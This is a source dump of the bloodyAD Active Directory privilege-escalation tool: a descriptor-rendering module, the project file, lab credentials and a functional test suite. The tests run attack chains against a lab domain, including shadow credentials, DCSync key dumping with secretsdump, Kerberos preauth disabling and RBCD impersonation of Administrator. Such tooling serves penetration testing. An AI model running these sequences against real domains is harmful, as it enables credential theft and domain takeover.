aceFactory(k, a): if k == "Trustee": return LazySid(a) elif k == "Right": return Right(a) elif k in ("ObjectType", "InheritedObjectType"): return LazyGuid(a) elif k == "Flags": return AceFlag(a) else: return a def renderSD(sddl, conn): global_lazy_adschema.conn = conn sd = SECURITY_DESCRIPTOR.from_sddl(sddl) # We don't print Revision because it's always 1, # Group isn't used in ADDS renderedSD = {"Owner": LazySid(str(sd.Owner)), "Control": Control(sd.Control)} rendered_aces = [] allAces = [] if sd.Dacl: allAces += sd.Dacl.aces if sd.Sacl: allAces += sd.Sacl.aces for ace in allAces: rendered_ace = { "Type": AceType(ace.AceType), "Trustee": set([str(ace.Sid)]), "Right": ace.Mask, "ObjectType": set(), "InheritedObjectType": set(), "Flags": ace.AceFlags, } if hasattr(ace, "ObjectType") and ace.ObjectType: object_guid_str = str(ace.ObjectType) else: object_guid_str = "Self" rendered_ace["ObjectType"].add(object_guid_str) if hasattr(ace, "InheritedObjectType") and ace.InheritedObjectType: rendered_ace["InheritedObjectType"].add(str(ace.InheritedObjectType)) rendered_aces.append(rendered_ace) grouped_aces = groupBy( rendered_aces, ["ObjectType", "Trustee", "Flags", "InheritedObjectType", "Right"], ) typed_aces = [] for ace in grouped_aces: typed_ace = {} for k, v in ace.items(): if not v: continue try: typed_ace[k] = [] for a in v: # If it's a set of guids/sids typed_ace[k].append(aceFactory(k, a)) except TypeError: # If it's a mask typed_ace[k] = aceFactory(k, v) typed_aces.append(typed_ace) renderedSD["ACL"] = typed_aces return renderedSD def renderSearchResult(entries): """ Takes entries of type Iterator({dn: },{...}...) Returns entries as is but with base64 instead of raw bytes if not decodable in utf-8 Sorts entry alphabetically too """ decoded_entry = {} for entry in entries: entry = { **{"distinguishedName": entry["distinguishedName"]}, **{k: v for k, v in sorted(entry.items()) if k != "distinguishedName"}, } for attr_name, attr_members in entry.items(): if type(attr_members) in [list, types.GeneratorType]: decoded_entry[attr_name] = [] for member in attr_members: if type(member) is bytes: try: decoded = member.decode() except UnicodeDecodeError: decoded = base64.b64encode(member).decode() else: decoded = member decoded_entry[attr_name].append(decoded) else: if type(attr_members) is bytes: try: decoded = attr_members.decode() except UnicodeDecodeError: decoded = base64.b64encode(attr_members).decode() else: decoded = attr_members decoded_entry[attr_name] = decoded yield decoded_entry decoded_entry = {} bloodyAD-2.1.7/pyproject.toml000066400000000000000000000014351473321043600161400ustar00rootroot00000000000000[build-system] requires = ["hatchling"] build-backend = "hatchling.build" [project] name = "bloodyAD" authors = [ { name="CravateRouge", email="baptiste@cravaterouge.com" }, ] version = "2.1.7" description = "AD Privesc Swiss Army Knife" readme = "README.md" requires-python = ">=3.8" classifiers = [ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ] dependencies = [ "cryptography>=37.0.2", "msldap>=0.5.12", "winacl>=0.1.7", "asn1crypto>=1.3.0", "dnspython>=2.3.0" ] [project.urls] "Homepage" = "https://github.com/CravateRouge/bloodyAD" "Bug Tracker" = "https://github.com/CravateRouge/bloodyAD/issues" [project.scripts] bloodyAD = "bloodyAD.main:main"bloodyAD-2.1.7/requirements.txt000077500000000000000000000000021473321043600165000ustar00rootroot00000000000000. bloodyAD-2.1.7/tests/000077500000000000000000000000001473321043600143635ustar00rootroot00000000000000bloodyAD-2.1.7/tests/__init__.py000066400000000000000000000000001473321043600164620ustar00rootroot00000000000000bloodyAD-2.1.7/tests/secrets.json000066400000000000000000000004171473321043600167300ustar00rootroot00000000000000{ "domain": "bloody.corp", "pdc":{ "ip": "192.168.100.3", "hostname": "main.bloody.corp" }, "admin_user":{ "username":"Administrator", "password":"Password123!" }, "pkinit_path": "/home/silver/toolbox/PKINITtools" }bloodyAD-2.1.7/tests/test_functional.py000066400000000000000000000416131473321043600201430ustar00rootroot00000000000000import unittest, subprocess, pathlib, json, os, re, binascii from bloodyAD import md4 class TestModules(unittest.TestCase): @classmethod def setUpClass(cls): conf = json.loads((pathlib.Path(__file__).parent / "secrets.json").read_text()) cls.domain = conf["domain"] cls.rootDomainNamingContext = ",".join( ["DC=" + subdomain for subdomain in cls.domain.split(".")] ) cls.host = conf["pdc"]["ip"] cls.hostname = conf["pdc"]["hostname"] cls.admin = { "username": conf["admin_user"]["username"], "password": conf["admin_user"]["password"], } cls.pkinit_path = conf["pkinit_path"] cls.toTear = [] cls.env = os.environ.copy() cls.bloody_prefix = [ "python3", "bloodyAD.py", "--host", cls.hostname, "-d", cls.domain, "--dc-ip", cls.host, ] cls.user = {"username": "stan.dard", "password": "Password1123!"} def test_01AuthCreateUser(self): # Add User self.createUser(self.admin, self.user["username"], self.user["password"]) username_pass = ["-u", self.user["username"], "-p"] cleartext = username_pass + [self.user["password"]] ntlm = username_pass + [ f":{md4.MD4(self.user['password'].encode('utf-16le')).hexdigest()}" ] self.launchProcess( [ "getTGT.py", "-dc-ip", self.host, f"{self.domain}/{self.admin['username']}:{self.admin['password']}", ] ) self.env["KRB5CCNAME"] = f"{self.admin['username']}.ccache" krb = ["-k"] self.launchProcess( [ "certipy", "req", "-target", self.host, "-ca", "bloody-MAIN-CA", "-template", "User", "-p", self.admin["password"], "-debug", "-u", f"{self.admin['username']}@{self.domain}", "-out", "bloodytest", ], ignoreErr=True, ) self.launchProcess( [ "openssl", "pkcs12", "-in", "bloodytest.pfx", "-out", "bloodytest.pem", "-nodes", "-passin", "pass:", ] ) cert = ["-c", ":bloodytest.pem"] auths = [cleartext, ntlm, krb, cert] for auth in auths: for sec_state in ["", "-s "]: self.launchProcess( self.bloody_prefix + auth + ( sec_state + "get object Administrator --attr sAMAccountName" ).split(" ") ) def test_02SearchAndGetChildAndGetWritable(self): self.launchBloody( self.user, ["get", "children", "--target", "OU=Domain Controllers,DC=bloody,DC=corp"], ) self.launchBloody( self.user, [ "get", "search", "--filter", "(cn=Administrator)", "--attr", "description", ], ) writableAll = self.launchBloody(self.user, ["get", "writable"]) writableUserWrite = self.launchBloody( self.user, ["get", "writable", "--otype", "USER", "--right", "WRITE"] ) self.assertIn(writableUserWrite, writableAll) self.assertRegex( self.launchBloody(self.user, ["get", "membership", self.user["username"]]), "Domain Users", ) self.assertRegex( self.launchBloody( self.user, ["get", "membership", self.user["username"], "--no-recurse"] ), "No direct group membership", ) def test_03UacOwnerGenericShadowGroupPasswordDCSync(self): slave = {"username": "slave", "password": "Password1243!"} # Tries another OU ou = "CN=FOREIGNSECURITYPRINCIPALS," + self.rootDomainNamingContext self.createUser(self.admin, slave["username"], slave["password"], ou=ou) self.launchBloody( slave, [ "get", "object", f"CN={slave['username']},{ou}", "--attr", "distinguishedName", ], ) # GenericAll self.launchBloody( self.admin, ["add", "genericAll", slave["username"], self.user["username"]], ) self.toTear.append( ( self.removeGenericAll, self.user, self.user["username"], slave["username"], ) ) # SetUAC self.launchBloody( self.user, ["add", "uac", slave["username"], "-f", "DONT_REQ_PREAUTH"] ) self.assertRegex( self.launchBloody( self.user, [ "get", "object", slave["username"], "--attr", "UserAccountControl", ], ), "DONT_REQ_PREAUTH", ) self.launchBloody( self.user, ["remove", "uac", slave["username"], "-f", "DONT_REQ_PREAUTH"], ) # SetOwner self.launchBloody( self.user, ["set", "owner", slave["username"], self.user["username"]] ) self.assertRegex( self.launchBloody( self.user, [ "get", "object", slave["username"], "--attr", "ntSecurityDescriptor", "--resolve-sd", ], doPrint=False, ), f'Owner: {self.user["username"]}', ) # Shadow outfile1 = "shado_cred" out_shado1 = self.launchBloody( self.user, ["add", "shadowCredentials", slave["username"], "--path", outfile1], ) outfile2 = "shado_cred2" self.launchBloody( self.user, ["add", "shadowCredentials", slave["username"], "--path", outfile2], ) id_shado1 = re.search("sha256 of RSA key: (.+)", out_shado1).group(1) import time time.sleep(60) self.pkinit(slave["username"], outfile1) self.launchBloody( self.user, ["remove", "shadowCredentials", slave["username"], "--key", id_shado1], ) self.pkinit(slave["username"], outfile2) self.launchBloody(self.user, ["remove", "shadowCredentials", slave["username"]]) # Group self.launchBloody( self.admin, ["add", "genericAll", "IIS_IUSRS", self.user["username"]] ) self.launchBloody( self.user, ["add", "groupMember", "IIS_IUSRS", slave["username"]] ) self.launchBloody( self.user, ["remove", "groupMember", "IIS_IUSRS", slave["username"]] ) # Password self.launchBloody( slave, [ "set", "password", slave["username"], "Password124!", "--oldpass", slave["password"], ], ) self.launchBloody( self.user, ["set", "password", slave["username"], slave["password"]] ) # DCsync self.launchBloody( self.admin, ["add", "genericAll", self.rootDomainNamingContext, self.user["username"]], ) self.launchBloody(self.user, ["add", "dcsync", slave["username"]]) self.assertRegex( self.launchProcess( [ "secretsdump.py", "-just-dc-user", "BLOODY/Administrator", f"{self.domain}/{slave['username']}:{slave['password']}@{self.host}", ] ), "Kerberos keys grabbed", ) self.launchBloody(self.user, ["remove", "dcsync", slave["username"]]) self.assertNotRegex( self.launchProcess( [ "secretsdump.py", "-just-dc-user", "BLOODY/Administrator", f"{self.domain}/{slave['username']}:{slave['password']}@{self.host}", ] ), "Kerberos keys grabbed", ) self.launchBloody( self.admin, [ "remove", "genericAll", self.rootDomainNamingContext, self.user["username"], ], ) def test_04ComputerRbcdGetSetAttribute(self): hostname = "test_pc" self.launchBloody( self.user, [ "add", "computer", hostname, "Password1234!", "--ou", "CN=COMPUTERS," + self.rootDomainNamingContext, ], ) self.toTear.append( (self.launchBloody, self.admin, ["remove", "object", hostname + "$"]) ) hostname2 = "test_pc2" hostname2_pass = "Password1235!" self.launchBloody(self.user, ["add", "computer", hostname2, hostname2_pass]) self.toTear.append( (self.launchBloody, self.admin, ["remove", "object", hostname2 + "$"]) ) self.launchBloody(self.user, ["add", "rbcd", hostname + "$", hostname2 + "$"]) hostname3 = "test_pc3" self.launchBloody(self.user, ["add", "computer", hostname3, "Password1236!"]) self.toTear.append( (self.launchBloody, self.admin, ["remove", "object", hostname3 + "$"]) ) self.launchBloody(self.user, ["add", "rbcd", hostname + "$", hostname3 + "$"]) # Test if rbcd correctly removed and doesn't remove all rbcd rights self.launchBloody( self.user, ["remove", "rbcd", hostname + "$", hostname3 + "$"] ) self.assertNotRegex( self.launchBloody( self.user, [ "get", "object", hostname + "$", "--resolve-sd", "--attr", "msDS-AllowedToActOnBehalfOfOtherIdentity", ], ), hostname3 + "$", ) del self.env["KRB5CCNAME"] self.assertRegex( self.launchProcess( [ "getST.py", "-spn", f"HOST/{hostname}", "-impersonate", "Administrator", "-dc-ip", self.host, f"{self.domain}/{hostname2}$:{hostname2_pass}", ], False, ), "Saving ticket in", ) # SetAttr self.launchBloody( self.admin, ["add", "genericAll", hostname + "$", self.user["username"]], ) self.launchBloody( self.user, [ "set", "object", hostname + "$", "servicePrincipalName", "-v", "TOTO/my.local.domain", "-v", "TATA/imaginary.unicorn", ], ) def test_05ComputerRbcdGetSetAttribute(self): managedPassword_raw = "01000000240200001000120114021c024dafdec827d690c71f64bd4d88a8351d23bdfa8eca206fc57d63450908c698f46a4902523d11614839b95e522c59bc78ae43ee869c25678052f4eca85010842b9c0e2e3c1d462cd839eaa83709e01452171218577e68cad4de9576c4a94b47da96f6a56c15bfa1a0a02769e6663c6bef47601d3079e3514d0a01e642a33c9bf4d5266e355d4511f421359d767355b8557363653d3adfe7b6950c1e443171c8b1b55249421bc1379e94abefcdd955ed2f1d6689f1b1095ef6e73fdbc853c4fe9c5dd3e0dc5ff51989ed2770d06b28f8cd2b92a61721e002b636e1eef1a53488b168af5b97081e3b75a4393a4b2ff614e3ae5ebeddde044bad2c5afe65b257f63a0000d22a8a7805c89cf00f66f3751c5167fa9066161ed146cb100465b56b5cb8719fc3b4ff5c0dc4f552824562eb7de0564bf1e2a2f542ed69a0de456dfdffcad0127ba1c3e9466ea8947737271cac6390167a590c2b6de8e72fe9d2b7d65a39f7419d29f8f248e988cc58a2451df60fa3d585c8828ff873fa19b07efea628a42a53b3e8cc8796035976760456d464a2ea817e14afd04a1e8ec0ec50df80381dbc1e3385297b0034f3a883b5ca5e515d21241b4e2c00bcf62c05ca52a58494fec4f0c7a06ebcfd865879a0bc57567fd3035d8207b2227c8c42fe5550dc96605726cb9c7c8acdfb638e57402e741d563aea4f7ff702416287a5903f379ca0c4eaa37c0000143b80910310000014ddafde02100000" managedPassword_nthash = "95f2a1e85bae294a9a3d8b32dffee725" managedPassword_raw = binascii.unhexlify(managedPassword_raw.encode()) from bloodyAD.formatters.cryptography import MSDS_MANAGEDPASSWORD_BLOB managedPassword_blob = MSDS_MANAGEDPASSWORD_BLOB(managedPassword_raw) self.assertEqual(managedPassword_blob.getData(), managedPassword_raw) self.assertEqual(managedPassword_blob.toNtHash(), managedPassword_nthash) def test_06AddRemoveGetDnsRecord(self): self.launchBloody( self.user, [ "add", "dnsRecord", "test.domain", "8.8.8.8", "--dnstype", "A", "--ttl", "50", ], ) self.assertRegex( self.launchBloody( self.user, ["get", "dnsDump", "--zone", self.domain], ), "test.domain", ) self.launchBloody( self.user, ["remove", "dnsRecord", "test.domain", "8.8.8.8", "--ttl", "50"], ) self.assertNotRegex( self.launchBloody( self.user, ["get", "dnsDump", "--zone", self.domain], ), "test.domain", ) def createUser(self, creds, usr, pwd, ou=None): args = ["add", "user", usr, pwd] if ou: args += ["--ou", ou] self.launchBloody(creds, args) self.toTear.append((self.launchBloody, creds, ["remove", "object", usr])) def removeGenericAll(self, creds, identity, target): self.launchBloody(creds, ["remove", "genericAll", target, identity]) self.assertNotRegex( self.launchBloody( creds, [ "get", "object", target, "--attr", "ntSecurityDescriptor", "--resolve-sd", ], doPrint=False, ), '"Trustee": "' + identity, ) def pkinit(self, username, outfile): self.assertRegex( self.launchProcess( [ "python3", f"{self.pkinit_path}/gettgtpkinit.py", "-dc-ip", self.host, "-cert-pem", f"{outfile}_cert.pem", "-key-pem", f"{outfile}_priv.pem", f"{self.domain}/{username}", f"{outfile}.ccache", ], False, ), "Saved TGT to file", ) for name in [ f"{outfile}_cert.pem", f"{outfile}_priv.pem", f"{outfile}.ccache", ]: self.toTear.append([(pathlib.Path() / name).unlink]) @classmethod def tearDownClass(cls): if not len(cls.toTear): return try: func = cls.toTear.pop() if len(func) > 1: func[0](*func[1:]) else: func[0]() except Exception as e: raise e finally: cls.tearDownClass() def launchBloody(self, creds, args, isErr=True, doPrint=True): cmd_creds = ["-u", creds["username"], "-p", creds["password"]] return self.launchProcess(self.bloody_prefix + cmd_creds + args, isErr, doPrint) def launchProcess(self, cmd, isErr=True, doPrint=True, ignoreErr=False): out, err = subprocess.Popen( cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE, env=self.env ).communicate() out = out.decode() if not ignoreErr: self.assertFalse(isErr and err, self.printErr(err.decode(), cmd)) out += "\n" + err.decode() if doPrint: print(out) return out def printErr(self, err, cmd): err = err.replace("\n", "\n ") self.err = f"here is the error output ->\n\n {cmd}\n{err}" return self.err if __name__ == "__main__": unittest.main(failfast=True) bloodyAD-2.1.7/tests/unit_test.py000066400000000000000000000063721473321043600167630ustar00rootroot00000000000000import unittest from bloodyAD import asciitree class UnitTests(unittest.TestCase): def test_01TreeDisplay(self): trust_dict = trust_dict = { "child.bloody.lab": { "bloody.lab": { "distinguishedName": ( "CN=bloody.lab,CN=System,DC=child,DC=bloody,DC=lab" ), "trustDirection": [b"3"], "trustPartner": [b"bloody.lab"], "trustType": [b"2"], "trustAttributes": [b"32"], } }, "cousin.corp": { "bloody.lab": { "distinguishedName": "CN=bloody.lab,CN=System,DC=cousin,DC=corp", "trustDirection": [b"3"], "trustPartner": [b"bloody.lab"], "trustType": [b"2"], "trustAttributes": [b"32"], } }, "stranger.lab": { "bloody.lab": { "distinguishedName": "CN=bloody.lab,CN=System,DC=stranger,DC=lab", "trustDirection": [b"3"], "trustPartner": [b"bloody.lab"], "trustType": [b"2"], "trustAttributes": [b"8"], }, "cousin.corp": { "distinguishedName": "CN=cousin.corp,CN=System,DC=bloody,DC=lab", "trustDirection": [b"1"], "trustPartner": [b"cousin.corp"], "trustType": [b"2"], "trustAttributes": [b"32"], }, "business.corp": { "distinguishedName": "CN=business.corp,CN=System,DC=bloody,DC=lab", "trustDirection": [b"1"], "trustPartner": [b"business.corp"], "trustType": [b"2"], "trustAttributes": [b"32"], }, }, "bloody.lab": { "child.bloody.lab": { "distinguishedName": ( "CN=child.bloody.lab,CN=System,DC=bloody,DC=lab" ), "trustDirection": [b"3"], "trustPartner": [b"child.bloody.lab"], "trustType": [b"2"], "trustAttributes": [b"32"], }, "cousin.corp": { "distinguishedName": "CN=cousin.corp,CN=System,DC=bloody,DC=lab", "trustDirection": [b"3"], "trustPartner": [b"cousin.corp"], "trustType": [b"2"], "trustAttributes": [b"0"], }, "stranger.lab": { "distinguishedName": "CN=stranger.lab,CN=System,DC=bloody,DC=lab", "trustDirection": [b"3"], "trustPartner": [b"stranger.lab"], "trustType": [b"2"], "trustAttributes": [b"8"], }, }, } trust_root_domain = "bloody.lab" tree = {} asciitree.branchFactory({":" + trust_root_domain: tree}, [], trust_dict) tree_printer = asciitree.LeftAligned() print(tree_printer({trust_root_domain: tree}))